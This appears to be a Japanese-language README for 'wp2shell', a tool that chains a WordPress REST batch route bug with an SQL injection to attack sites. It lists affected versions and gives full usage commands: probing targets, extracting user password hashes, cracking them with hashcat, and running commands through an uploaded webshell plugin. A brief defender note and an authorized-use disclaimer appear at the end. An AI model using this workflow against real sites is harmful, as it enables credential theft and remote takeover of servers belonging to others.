
CVE-2026-63030 (RCE) + CVE-2026-60137 (SQLi)
WordPress Core 向けの未認証リモートコード実行 POC (CVE-2026-63030 + CVE-2026-60137)
wp2shell は、WordPress コアの重大な脆弱性チェーンを利用するエクスプロイトです。REST API のバッチルート混乱バグと WP_Query の SQL インジェクションを組み合わせ、脆弱な WordPress インストール上で 未認証のリモートコード実行 を達成します。
| 詳細 | 情報 |
|---|---|
| CVE | CVE-2026-63030 (REST バッチルート混乱) + CVE-2026-60137 (author__not_in SQLi) |
| 影響を受けるバージョン | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| 修正バージョン | 6.9.5, 7.0.2 |
| 認証要件 | なし — 未認証 |
| CVSS | 重大 (RCE チェーン) |
| 発見者 | Adam Kues (Assetnote / Searchlight Cyber) |
| 依存関係 | Python 3.8+ — 標準ライブラリのみ |
このエクスプロイトは、WordPress コアの2つのバグを連鎖させます。
CVE-2026-60137 — SQL インジェクション – author__not_in が配列ではなく 文字列 として渡されると、WordPress は is_array() によるサニタイズチェックをスキップし、生の値を NOT IN (...) SQL 句に直接展開します。
CVE-2026-63030 — バッチルート混乱 – /wp-json/batch/v1 エンドポイントは、$matches と $validation の並列配列を構築します。不正な形式のサブリクエストが $validation に追加されますが $matches には追加されず、+1 のインデックスシフトが発生します。サブリクエスト i は、サブリクエスト i+1 のハンドラでディスパッチされます。
連鎖により: 内部に author_exclude 文字列を含む GET /wp/v2/users リクエストを伴う POST /wp/v2/posts リクエストが、メソッド許可リストと入力サニタイズの両方をバイパスします。その文字列は WP_Query に author__not_in として到達し、SQL に展開されます — これにより 未認証のブラインド SQL インジェクション が実現します。
そこから、このツールは以下を実行できます。
git clone https://github.com/ekomsSavior/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
以上です。サードパーティのパッケージは必要ありません。
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
すべての機能を番号付きオプションで提供する対話型メニューを起動します。
check — 脆弱性の確認 (安全)時間遅延プローブを実行して悪用可能性を確認します。データを読み取らず、何も変更しません。
./wp2shell.py http://target.com check
read — データ抽出 (ブラインド SQL インジェクション)時間ベースのブラインド SQL インジェクションを使用してデータベースから情報を抽出します。
# サーバーフィンガープリント (バージョン、データベース、ユーザー)
./wp2shell.py http://target.com read
# ユーザーログインとパスワードハッシュの抽出
./wp2shell.py http://target.com read --users
# データベース名の抽出
./wp2shell.py http://target.com read --database
# MySQL バージョンの抽出
./wp2shell.py http://target.com read --version
# カスタム SQL クエリ
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — リモートコード実行有効な管理者認証情報が必要です。 SQL インジェクションでパスワードハッシュを取得できますが、回復された平文パスワードを提供する必要があります。
# 単一コマンドの実行
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# 単一コマンドの実行 (短縮形)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
# 1. ターゲットが脆弱かどうかを確認
./wp2shell.py https://example.com check
# 2. 管理者パスワードハッシュを抽出
./wp2shell.py https://example.com read --users
# 3. ハッシュをオフラインで解読 (hashcat、john などを使用)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. 回復したパスワードでコマンドを実行
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| ブランチ | 影響あり | 修正済み |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (SQLi のみ、RCE なし) | 6.8.6 |
6.9.0 より前のバージョンは、完全な RCE チェーンの影響を受けません。
防御側向け:
requests ボディを持つ POST /wp-json/batch/v1 リクエストを監視404 が返ってきても必ずしも「修正済み」とは限りません — WAF/CDN が匿名の REST API アクセスをブロックしている可能性もありますこのツールは教育および許可されたセキュリティテスト目的にのみ使用してください。
脆弱性の詳細については、Searchlight Cyber research blog を参照してください。
| 機能 | 説明 |
|---|
| 脆弱性チェック | 安全な時間遅延プローブ — データを読み取らず、何も変更しません |
| データ抽出 | バイナリサーチ最適化によるブラインド SQL インジェクションで効率的に抽出 |
| ユーザーハッシュダンプ | wp_users から user_login と user_pass のハッシュを抽出 |
| リモートコード実行 | 管理者として認証、Webshell プラグインのアップロード、コマンド実行 |
| インタラクティブシェル | 永続的なコマンド実行セッション |
| カラー出力 | スキャン結果の明確な視覚的フィードバック |
| 依存関係なし | Python 標準ライブラリのみを使用 |
| オプション | 説明 |
|---|
--users | wp_users から user_login と user_pass を抽出 |
--database | 現在のデータベース名を抽出 |
--version | MySQL バージョンを抽出 |
--query "SQL" | カスタム SQL クエリを実行 (ブラインド抽出) |
--user USER | RCE 用の管理者ユーザー名 |
--password PASS | RCE 用の管理者パスワード (平文、SQLi 経由で取得) |
--cmd CMD | Webshell 経由で実行するコマンド |